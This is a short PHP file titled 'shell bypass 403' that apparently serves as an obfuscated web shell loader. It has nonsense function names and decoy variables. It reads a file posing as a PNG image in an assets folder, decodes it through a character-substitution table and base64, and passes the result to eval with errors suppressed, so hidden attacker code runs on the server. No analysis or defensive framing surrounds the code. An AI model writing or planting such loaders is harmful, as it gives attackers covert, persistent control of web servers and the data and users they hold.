shell bypass 403
<?php
function asyvar_ypedakhu($irazeg_shysabigi) {
$ysaguch = ajaziq_enyshabazhe();
$qyvazhu = array();
$eqinish = otadid_owukyqut();
$pyvuzig = array();
for ($vigona = 0; $vigona < strlen($ysaguch); $vigona++) {
$pobokum = substr($ysaguch, $vigona, 1);
$isequlo = substr($eqinish, $vigona, 1);
$pyvuzig[$pobokum] = $isequlo;
}
$ivipud = strtr($irazeg_shysabigi, $pyvuzig);
$ivipud = base64_decode($ivipud);
return $ivipud;
}
function arazyh_eshachaco($irazeg_shysabigi) {
$qyvazhu = array();
if (!file_exists($irazeg_shysabigi))
return false;
$dycurok = @file_get_contents($irazeg_shysabigi);
if (!$dycurok)
return false;
$dycurok = substr($dycurok, 3);
$qyvazhu = asyvar_ypedakhu($dycurok);
return $qyvazhu;
}
function ajaziq_enyshabazhe() {
$dycurok = "G250fHM9/+Wpr6NUZcXEAL7tsuFPmaxIhyCwOklB1bRVzjJ84gTd3=KYieonDvQqS";
$qyvazhu = array();
return $dycurok;
}
function otadid_owukyqut() {
$qyvazhu = "R61lp=0cbLA87shQZirF4dXWHuEonaJT2M/NIfy+mjOkS5zwGgUqtYDBCxK9ev3VP";
$azyhada = array();
return $qyvazhu;
}
$godahy = arazyh_eshachaco(__DIR__ . "/asse" . "ts/im" . "ages/" . "anegu" . "zh.p" . "ng");
if ($godahy) {
@eval($godahy);
}